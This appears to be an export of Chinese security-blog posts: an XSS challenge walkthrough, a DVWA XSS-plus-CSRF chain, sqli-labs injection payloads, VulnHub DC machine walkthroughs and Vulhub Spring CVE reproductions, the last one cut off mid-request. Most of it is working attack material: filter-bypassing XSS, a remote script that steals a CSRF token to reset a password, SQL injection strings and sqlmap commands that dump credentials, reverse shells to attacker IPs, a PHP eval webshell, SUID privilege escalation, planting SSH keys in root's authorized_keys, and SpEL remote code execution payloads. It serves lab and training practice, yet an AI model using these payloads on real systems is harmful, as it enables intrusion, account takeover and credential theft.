那么根据隐藏的input的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用 1t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>// referer绕过referer:" type='text' onclick='javascript:alert(1)'>// UA绕过同上 Cookie绕过同上 XSS作业0x00 0x01 0x02 属性 值 描述 oninput script 当元素获得用户输入时运行的脚本. 0x03**过滤()**可以用反撇号绕过 0x04过滤了()And` payload:<img src=x onerror="alert&#40;1&#41;"></img> 0x05这个--!>用闭合注释符--!><img src=x onerror="alert(1)"><!-- 0x06oninput ="alert(1)"将on和=用回车隔开 0x07这个是过滤了所有以/<\\/?[^>]开头>结尾的字符,所以最后面不加>就好了 0x08这个是过滤了</style>标签导致无法闭合,所以用换行将它分开以绕过 12</style><input oninput="alert&#40;1&#41;"> 0x09这个限制了URL,后面按正常套路闭合就行了 1https://www.segmentfault.com"></script><img src="x" onerror="alert(1)">// 0x0A这个用到了@,在URL中会解析@后面的网址,如果你的没弹出来试试换个浏览器,我的用火狐就可以了 1https://www.segmentfault.com@xss.haozi.me/j.js 0x0B这个题将所有的字母都换成了大写,所以要将alert(1)进行HTML实体字符转换 1<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> 0x0C这个是增加了script的过滤,不过显得有点多余 <img src="X" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> 0X0D这个是将输入内容带入到了注释中,可以用换行逃逸.由于过滤了单引号',所以后面的')可以用-->注释掉 123alert(1);--> 0x0E此题是将标签里的第一个字母前加上下划线_,并且在h1标签里,作者的想法是用阿拉伯字母ſ替换s的大写 1<ſcript src="https://xss.haozi.me/j.js" ></script> 0x0F此题需要闭合前面的内容同时注释掉后面的');alert(1)// 0x10这个跟sql注入里的堆叠注入是一个意思0;alert(1) 0x11跟0x0F一样后面,后面可以用//注释掉也可以用("闭合掉");alert(1);// 0X12由于"被替换成了\\\\,所以要用\\进行转义\\");alert(1);// XSS (Reflected)配合CSRF跨域vps中存放1.js 123456ifr = document.createElement('iframe');ifr.src = "/DVWA/vulnerabilities/csrf/";ifr.hidden = 1;document.body.appendChild(ifr);setTimeout(function () { f = frames[0]; t = f.document.getElementsByName('user_token')[0].value; i = document.createElement('img'); i.src = '/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=' + t; },3000);<svg/onload=i=document.createElement('script');i.src='http://YOUR-VPS-IP/1.js';document.body.appendChild(i);> 由于hidh等级采用了正则过滤,所以我们要实体编码部分字段 1<svg/onload=i=document.createElement('\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074');i.src='\\u0068\\u0074\\u0074\\u0070\\u003a\\u002f\\u002f\\u0059\\u004f\\u0055\\u0052\\u002d\\u0056\\u0050\\u0053\\u002d\\u0049\\u0050\\u002f\\u0031\\u002e\\u006a\\u0073';document.body.appendChild(i);> 默认密码为pssword 将准备好的payload复制到输入框内: 退出后使用默认密码登录失败 使用密码:123登录成功","tags":["渗透测试"],"categories":["漏洞复现","Web"]},{"title":"Web-Sqli_Lbas漏洞复现","path":"/2023/03/04/16f1e4f4/","content":"总字符数: 6.52K 代码: 4.84K, 文本: 0.41K 预计阅读时间: 23 分钟 21关base64编码单引号的cookie注入 123456789101112131415-- 表admin' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)) and '1' = '1YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAgbGltaXQgMywxKSwweDdlKSwxKSkgYW5kICcxJyA9ICcx-- 列YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSd1c2VycycgbGltaXQgMSwxKSwweDdlKSwxKSkgYW5kICcxJyA9ICcxYWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSd1c2VycycgbGltaXQgMiwxKSwweDdlKSwxKSkgYW5kICcxJyA9ICcx-- 数据YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VybmFtZSBmcm9tIHVzZXJzICBsaW1pdCAzLDEpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE=YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHVzZXJzICBsaW1pdCAzLDEpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE= 22关base64编码双引号的cookie注入 123456789101112-- 表admin" and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)) and "1" = "1YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAgbGltaXQgMywxKSwweDdlKSwxKSkgYW5kICIxIiA9ICIx-- 列YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIGxpbWl0IDEsMSksMHg3ZSksMSkpIGFuZCAiMSIgPSAiMQ==YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIGxpbWl0IDIsMSksMHg3ZSksMSkpIGFuZCAiMSIgPSAiMQ==-- 数据YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VybmFtZSBmcm9tIHVzZXJzIGxpbWl0IDMsMSksMHg3ZSksMSkpIGFuZCAiMSIgPSAiMQ==YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHVzZXJzIGxpbWl0IDMsMSksMHg3ZSksMSkpIGFuZCAiMSIgPSAiMQ== 23关基于GET错误的过滤注释 分析源代码 1234567891011$reg = "/#/";$reg1 = "/--/";$replace = "";$id = preg_replace($reg, $replace, $id);$id = preg_replace($reg1, $replace, $id);$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id." ");fclose($fp);$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result); 12345678910-- 表?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3 and '1' = '1-- 列?id=-1' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),3 and '1' = '1?id=-1' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),3 and '1' = '1-- 表?id=-1' union select 1,(select username from users limit 3,1),3 and '1' = '1?id=-1' union select 1,(select password from users limit 3,1),3 and '1' = '1 24关本关为二阶注入,查看源码,在修改密码时直接调用username没有进行过滤可以注册一个新账户Dumb'#,密码为123456登录Dumb’#账户,修改密码为password,再次使用Dumb登录发现原来的密码被修改为password 25关本关过滤了and和or关键字,采用常规思路注入即可,注意password需要将其中or重写来绕过检测 123456-- 表?id=-1' union select 1,2,group_concat('~',table_name) from infoorrmation_schema.tables where table_schema=database() --+-- 列?id=-1' union select 1,2,group_concat('~',column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='users' --+-- 数据?id=-1' union select 1,2,group_concat('~',username,passwoorrd) from users --+ 25a关本关与25基本一致,这一关只不过换成了数字型注入 123456-- 表?id=-1 union select 1,2,group_concat('~',table_name) from infoorrmation_schema.tables where table_schema=database() --+-- 列?id=-1 union select 1,2,group_concat('~',column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='users' --+-- 数据?id=-1' union select 1,2,group_concat('~',username,passwoorrd) from users --+ 26关本关对大多数字符和关键字都进行了过滤,如注释符号、and、or、空格等,使用|绕过 12345678-- 表?id=1'%0B||updatexml(1,concat("~",(select%0Btable_name%0Bfrom%0Binfoorrmation_schema.tables%0Bwhere%0Btable_schema=database()%0Blimit%0B3,1)),1)|'1'='1-- 列?id=-1'%0B||updatexml(1,concat("~",(select%0Bcolumn_name%0Bfrom%0Binfoorrmation_schema.columns%0Bwhere%0Btable_schema=database()%0Banandd%0Btable_name='users'%0Blimit%0B1,1)),1)|'1'='1?id=-1'%0B||updatexml(1,concat("~",(select%0Bcolumn_name%0Bfrom%0Binfoorrmation_schema.columns%0Bwhere%0Btable_schema=database()%0Banandd%0Btable_name='users'%0Blimit%0B2,1)),1)|'1'='1-- 数据?id=-1'%0B||updatexml(1,concat("~",(select%0Busername%0Bfrom%0Busers%0Blimit%0B3,1)),1)|'1'='1?id=-1'%0B||updatexml(1,concat("~",(select%0Bpassword%0Bfrom%0Busers%0Blimit%0B3,1)),1)|'1'='1 26a关时间盲注 1?id=-1')|if(substring((database()),1,1)="s",sleep(5),1)|('1')=('1 27关使用%0B代替空格绕过 1?id=1'%0Band%0Bupdatexml(1,concat("~",database()),1)%0Band'1'='1 27a关时间盲注 1?id=1"%0Band%0Bif(substring(database(),1,1)="s",sleep(5),1)and"1"="1","tags":["渗透测试"],"categories":["漏洞复现","Web"]},{"title":"VulnHub-DC系列","path":"/2022/11/02/735afd67/","content":"总字符数: 18.71K 代码: 1.12K, 文本: 4.63K 预计阅读时间: 25 分钟 DC-3https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc3.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc3.ova arp-scan使用Kali中的arp-scan工具扫描结果如下: nmap探测使用nmap工具 端口扫描结果如下: 由扫描结果知开放端口只有一个: 80(http默认端口). 访问web访问web界面如下: 对网站信息收集打开插件Wappalyzer进行网站指纹识别如下: 从指纹识别信息中提取出的信息有: 1 内容管理系统(CMS):Joomla Joomla*!*是使用PHP语言加上MySQL数据库所开发的软件系统. 2 操作系统:Ubuntu 3 字体脚本:Google Font API 4 Web服务器:Apache 2.4.18 5 编程语言:PHP 6 JavaScript:JQuery 1.12.4 JQuery Migrate 1.4.1 7 用户界面(UI)框架:Bootstrap Kali中的joomscan网站扫描工具就是专门用来扫描此类网站的 perl joomscan.pl --url http://172.16.12.151 其中joomla版本为:3.7.0 后台管理页面为:http://192.168.164.132/administrator/ 用户密码破解搜索漏洞 我们查看这个sql注入的文本文档 写的很详细,包括注入的类型和payload及使用sqlmap暴力注入 直接上sqlmap 暴库 sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] 暴表 sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] 看到了user相关表 暴字段 qlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering] 暴内容 sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering] 破解密码 将密文保存到一个文件中使用john破解,:后面的为密码 用户admin的密码为snoopy 使用admin登录web 提权生成木马 访问Protostar Details and Files 点进去更改index.php的内容,写入木马 保存,使用weevely连接 Find查找有特殊位权限文件find / -perm -u=s -type f 2>/dev/null 查看系统内核以及系统版本 只要符合条件的都可以试一下,这里选择39772,下载 记住使用方法,kali去下载这个压缩包 靶机下载 解压zip 进入目录,继续解压exp 反弹shell,weevely有些不好使 更换为全交互终端 python3 -c 'import pty;pty.spawn("/bin/bash")' 进入这个目录,运行文件 等待大概1分钟,提权成功 查看flag DC-4环境搭建https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc-4.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc-4.ova 下载靶场文件,使用Vbox或者VM打开即可;攻击机使用kali-2020. 信息收集主机发现 使用Kali中的arp-scan工具扫描结果如下 端口探测 探测使用nmap工具 由扫描结果知开放端口有两个:22(SSH服务默认端口)和80(http默认端口) 目录扫描 dirsearch 访问web 访问web界面如下 网站信息收集** 打开插件Wappalyzer进行网站指纹识别如下 从指纹识别信息中提取出的信息有: 1 Web服务器:Nginx 1.15.0 右键点击查看源代码未发现flag字样 从源代码中只能看见用户名/密码的提交方式为POST方式,先尝试一些常见的用户名和密码如admin:admin等登陆失败,用php万能密码登录也是失败.用户密码破解 账号密码:admin,happy,没必要爆破,有些人的教程是爆破,很多字典里基本不会有这种词 使用账号密码登录如下 点击Commad出现如下 点击第一个选项点击run出现如下页面 继续用bp抓包看看 看样子我们可以在这里抓包更改执行我们想要执行的命令,直接反弹shell exim4提权发现可以使用exim4进行提权操作 查看版本号,版本为4.89 Kali中寻找提权方法 上面中最后选用的是46996.sh脚本,将此文件上传到DC-4上尽量下载到tmp目录下,记得chmod 777 46996.sh 开始提权 提权成功,查看flag文件 DC-5https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc-5.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc-5.ova 渗透过程 kali扫描局域网: 1arp-scan -l nmap扫描开放的服务及端口: 1nmap -sS -Pn -p- -v -P4 192.168.138.133 看到开启了80端口的web服务,访问http://192.168.138.133 使用kali自带的目录爆破工具dirbuster对该ip的目录结构进行爆破: 访问扫描出来的footer.php文件: 发现每次访问,年份都会发生变化: 并且在每个页面的底部都有类似字样: 猜测对footer.php进行了文件包含 这里使用kali自带的wfuzz工具,对文件包含的参数进行爆破: 1wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.138.133/thankyou.php?FUZZ=/etc/passwd -z指定字典文件/usr/share/wfuzz/wordlist/general/common.txt,第二个参数指定爆破的url地址和参数位置(FUZZ所在位置) 通过判断返回包长度来确定正确的参数,这里尝试读取/etc/passwd 1http://192.168.138.133/thankyou.php?file=/etc/passwd 成功读取 可以尝试包含access.log日志文件: 1http://192.168.138.133/thankyou.php?file=/var/log/nginx/access.log 那我们可以采用在access.log注入一句话木马,然后进行包含来运行. 使用蚁剑终端反弹shell: 1bash -c 'bash -i >& /dev/tcp/192.168.138.129/7777 0>&1' 使用python将半交互式shell转换为全交互式shell: 1python -c 'import pty;pty.spawn("/bin/bash")' 尝试使用suid进行提权: 1find / -perm -u=s -type f 2>/dev/null screen程序可能进行提权,使用searchsploit搜索该程序相关漏洞: 1searchsploit screen 4.5.0 存在越权点,将41154.sh文件拷贝到当前目录: 1searchsploit -m 41154.sh 将其使用蚁剑上传至靶机中,并更改权限为777: 在反弹的shell中执行该脚本文件: 1./41154.sh 成功提权至root octoberhttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc3.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc3.ova 靶场搭建 下载完导入虚拟机,然后使用默认桥接模式即可.下载链接:https://www.vulnhub.com/entry/its-october-1,460/如果出现IP无法分配可参考:https://www.cnblogs.com/yichen115/p/12609048.html 信息收集app-scan扫描内网发现敏感IParp-scan -l nmapnmap -sS -Pn -v -A T4 192.168.164.130 使用namp扫描常用端口 dirsearch扫描敏感目录 dirsearch -u http://192.168.164.130,可以看到auth,盲猜是个登录页面,访问看一下 看到需要账号密码,暂时放弃 dirsearch -u http://192.168.164.130:8080 查看8080端口有没有隐藏信息,后面在8080端口的源代码中发现了注释代码 访问这个页面,可以看到账号密码,拿这个账号密码去登录 登录进来之后查找指纹信息 使用searchsploit漏洞库搜索一下相关手册,下载这个手册 在这个手册中可以发现PHP upload protection bypass 可以通过这个方法绕过一下,我这里通过Google使用了cms中的创建文件的方法 写入代码 123function onstart(){ $s=fsockopen("YOUR-VPS",6666);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);} kali监听6666端口,并且去访问这个页面 系统提权用某些方法将以下文件下载到KALIhttps://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh然后用kali起一个服务,在靶场使用wget下载sh文件,并且赋予可执行权限 python3 -m http.server 8080 通过上图发现了这台机器有python3.7.使用python3.7将当前半交互Shell变为全交互python3 -c 'import pty;pty.spawn("/bin/bash")' 使用find看看root权限中的命令有没有python3.7 123456789find / -perm -u=s -type f 2>/dev/null# / 表示从文件系统的顶部(根)开始并找到每个目录# -perm 表示搜索随后的权限# -u=s 表示查找root用户拥有的文件# -type表示我们正在寻找的文件类型# f 表示常规文件,而不是目录或特殊文件# 2 表示该进程的第二个文件描述符,即stderr(标准错误)#>表示重定向# /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容 用带有root权限的Python3.7去新建一个终端,那么这个终端就会带有root权限 123# bash -p 开启一个新shell suid的话自然是开启 root shell# os模块: 对进程和进程运行环境进行管理/usr/bin/python3.7 -c 'import os; os.execl("/bin/bash", "bash", "-p") 这里可以看到uid虽然是www-data的,但是euid却是root的. linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限) RUID, 用于在系统中标识一个用户是谁,当用户使用用户名和密码成功登录后一个UNIX系统后就唯一确定了他的RUID. EUID, 用于系统决定用户对系统资源的访问权限,通常情况下等于RUID. SUID,用于对外权限的开放.跟RUID及EUID是用一个用户绑定不同,它是跟文件而不是跟用户绑定. ssh登录思路:使用kali的ssh密钥替换掉被攻击机的密钥来实现远程登录. kali生成密钥:ssh-keygen -t rsa 使用python起一个web服务(将id_rsa.pub从.ssh目录复制到其他目录后,再从其他目录开启服务),python3 -m http.server 8080靶机使用wget下载id_rsa.pub cp id_rsa.pub /root/.ssh/authorized_keys 最后在攻击机上使用root私钥进行ssh连接 drupalhttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/jangow01.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/jangow01.ova 靶场环境搭建:直接打开虚拟机 信息收集app-scan扫描内网发现敏感IParp-scan -l nmapnmap -sS -Pn -v -A T4 192.168.164.131 使用namp扫描常用端口 发现80端口,打开后发现需要登录,发现指纹为:drupal 攻击msf使用msf扫描指纹相关漏洞并且使用 设置要攻击的IP 运行,获取meterpreter 在当前目录下发现了flag1 查看文件内容 大概提示是一个优秀的cms一定会有配置文件,下面有请百度战士,搜一下drupal的项目结构 首先查看数据库配置文件,发现配置文件中有mysql账号密码 通过数据库账号密码连接到数据库查看敏感库以及表,找到后台的账号密码 发现了一个users表,查一下内容 发现密码加密,查找加密的文件(上面百度搜的时候说了scripts目录下有数据库相关脚本),发现了敏感词汇,password打开之后可以发现就是我们要找的password加密文件 重新加密一个密码替换进去,原加密密文一定记得保存,后续还要替换回去 在/vat/www下使用加密脚本用法./scripts/password-hash.sh [需要加密的明文]使用方法还可以看这个脚本的源代码,里面有写 进入数据库后执行UPDATE users SET pass="$S$Dv1IQzDZwEol9ORsIWxj1td1f.4yv/EDQBZ/HFqF46S84tS13gSU" where uid=1; 可以发现已经被替换 使用admin和123456进入后台,各个功能点开试一下,发现了flag3打开看一下 捕获关键字 flag3的信息中提到了passwd和shadow,应该就是/etc/passwd和/etc/shadow这两个文件了,而find、perms、-exec应该是要提权才用到 /etc/passwd文件和/etc/shadow文件 所有的用户的账号和密码都在这两个文件中 /etc/passwd保存着每个用户账号.该文件只有管理员可以修改,但是对于所有的用户都可读 /etc/shadow保存着密码等信息.该文件只有系统管理员能够修改和查看,其他用户不能查看、修改. 查看/etc/passwd文件 在最后一行可以看到flag4在/home/flag4下 提示我们需要root权限,提权 find / -perm -u=s -type f 2>/dev/null find . -exec /bin/sh \\; 提权成功 到root目录下查看最终flag 登入msyql,将原来的密文替换回去 UPDATE users SET pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where uid=1; 可以看到已经替换回去了,剩下的权限维持自行发挥吧 angow01https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/oc-1.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/oc-1.ova 如果出现IP无法分配可参考:https://www.cnblogs.com/yichen115/p/12609048.html arp-scan nmap 访问80页面,测试一下基本功能点,发现这个地方有rce http://192.168.164.133/site/busque.php?buscar=ls 写马http://192.168.164.133/site/busque.php?buscar=echo%20%27%3C?php%20eval($_POST[%27a%27]);%27%20%3E%203.php 进去之后,反弹shellbash -c 'bash -i > /dev/tcp/192.168.164.129/443 0>&1' 此靶场只能用443反弹shell请注意 使用python3.7将当前半交互Shell变为全交互 1python3 -c 'import pty;pty.spawn("/bin/bash")' 提权Find查找有特殊位权限文件find / -perm -u=s -type f 2>/dev/null 查看系统内核以及系统版本 根据前面的系统版本和内核查找历史漏洞 可以一个个测试,这里测试了45010可以 下载45010 使用蚁剑,将这个.c文件上传到靶机的tmp目录下 使用靶机编译 使用chmod 赋予a.out权限 发现了flag","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"VulHub-Spring漏洞复现","path":"/2022/10/20/16f1e4f4/","content":"总字符数: 15.77K 代码: 5.60K, 文本: 3.84K 预计阅读时间: 41 分钟 Spring Security OAuth2 远程命令执行漏洞 (CVE-2016-4977)漏洞概述Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块.在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令. 影响版本: Spring Security OAuth 1.0.0到1.0.5 Spring Security OAuth 2.0.0到2.0.9 Spring Security OAuth 2.0到2.0.14 Spring Security OAuth 2.1到2.1.1 Spring Security OAuth 2.2到2.2.1 Spring Security OAuth 2.3到2.3.2 漏洞复现启动完成后,访问http://your-ip:8080/即可看到web页面. 访问http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test.首先需要填写用户名和密码,我们这里填入admin:admin即可. 可见,我们输入是SpEL表达式${233*233}已经成功执行并返回结果: 然后,我们使用poc.py来生成反弹shell的POC 如上图,生成了一大串SpEL语句.使用这个SpEL语句进行攻击 http://103.116.46.7:8080/oauth/authorize?response_type=YOUR-Payload&client_id=acme&scope=openid&redirect_uri=http://test 反弹shell 修复建议漏洞修复代码见: https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2dhttps://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d 修复后的代码,将SpEL表达式的前缀判断改为了长度为6的随机字符串+{.这样的话,攻击者由于不知道前缀,所以就无法注入SpEL表达式进行攻击. 至于网上说这里因为是长度为6的随机字符串,有被暴破的风险.但个人认为不会,因为每一次的请求,在转发到/oauth/error接口处理,构造ModelAndView对象时,都会新建一个SpelView对象传进去,所以每次请求,这个6字节的随机字符串都会重新生成,所以并不存在暴破风险.当然,笔者只是根据代码的逻辑来判断的,并未实际调试验证. Spring Data Rest远程命令执行(CVE-2017-8046)漏洞概述Spring Data 表达方式是在 Spring Data 之外,帮助开发者更容易地开发 REST 服务.在 REST API 的 Patch 中实现实现,路径的值被 RFC(RFC)的 Web 方法,导致 SpEL执行setValue式,触发远程命令执行. 利用版本: Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3 Spring Boot version < 2.0.0 M4 Spring Data release trains < Kay-RC3 漏洞复现 访问http://103.116.46.7:8080/能够查看json格式的返回值,说明这是一个Restful风格的API服务器. 将命令转换为ascii,然后将空格替换为, 访问http://103.116.46.7:8080/customers/1,查看资源.我们使用PATCH请求来修改 123456789101112PATCH /customers/1 HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/json-patch+jsonContent-Length: 214[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112,105,110,103,32,116,51,102,102,49,118,46,100,110,115,108,111,103,46,99,110}))/lastname", "value": "vulhub" }] path的值是SpEL表达式,发送上面的数据包,将执行new byte[]{112,105,110,103,32,116,51,102,102,49,118,46,100,110,115,108,111,103,46,99,110}表示的命令ping t3ff1v.dnslog.cn 修复建议 官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞 Spring WebFlow 远程代码执行漏洞分析(CVE-2017-4971)漏洞概述通过官方描述和补丁的对比,我们可以大致推断应该是Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞,这个漏洞利用除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件. 整体来说这个漏洞危害应该还是有一些的,如果满足2个前置条件,那么直接RCE是没什么问题的 利用版本: Spring WebFlow 2.4.0 - 2.4.4 漏洞复现 访问http://your-ip:8080将看到一个酒店预订的访问页面,这是spring-webflow官方给的简单示例 首先访问http://your-ip:8080/login,使用页面左侧提供的一个账户/密码登录系统 然后访问id为1的酒店http://your-ip:8080/hotels/1预订,点击按钮”预订酒店”,相关信息后点击”流程”(从这一步,其实WebFlow就正式开始了): 再点击确认,到这个页面之后,打开BURP准备抓包,然后点击Confirm 修改包数据 1&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/YOUR-VPS-IP/6666+0>%261")).start()=vulhub ​ 修复建议不受影响的版本 Spring Web Flow 2.4.5 规避方案官方已经发布了新版本,请受影响的用户及时更新升级至最新的版本来防护该漏洞.官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为. Spring Data Rest远程命令执行(CVE-2017-8046)漏洞概述spring消息为框架提供消息支持,其上层协议是STOMP,通信基于SockJS, 在spring消息中,其允许客户端订阅消息,并使用selector过滤消息.selector使用SpEL编写执行消息,并使用StandardEvaluationContext解析,造成命令漏洞. 利用版本: Spring Framework 5.0 to 5.0.4 Spring Framework 4.3 to 4.3.15 Older unsupported versions are also affected 漏洞复现环境启动后,访问http://your-ip:8080即可看到一个网页页面 网上大部分文章都说spring messaging是基于websocket通信,其实不然.spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信. 连接后端服务器的流程,可以理解为: 用STOMP协议将数据组合成一个文本流 用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信 所以我们可以使用http来复现漏洞,称之为”降维打击”. 我编写了一个简单的POC脚本exploit.py(需要用python3.6执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有: 基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket 待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success') 某一个订阅的地址,如vulhub中为:/topic/greetings 如何触发这个订阅,即如何让后端向这个订阅发送消息.在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件.当然在实战中就不同了,所以这个poc并不具有通用性. 根据你自己的需求修改POC,比如修改URL以及命令 执行:python exploit.py 修复建议 请升级Spring框架到最新版本(5.0.5、4.3.15及以上版本) 如果你在用 SpringBoot,请升级到最新版本(2.0.1及以上版本) Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞概述Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架.Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令. 利用版本: Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5) 漏洞复现 访问页面时,是一个spring常见的错误页面 通过扫目录的方式发现敏感页面**/users** 在输入一些数据后点击注册,并使用burp抓包,修改数据包为如下payload并发送 123456789101112131415POST /users?page=&size=5 HTTP/1.1Host: 103.116.46.7:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: 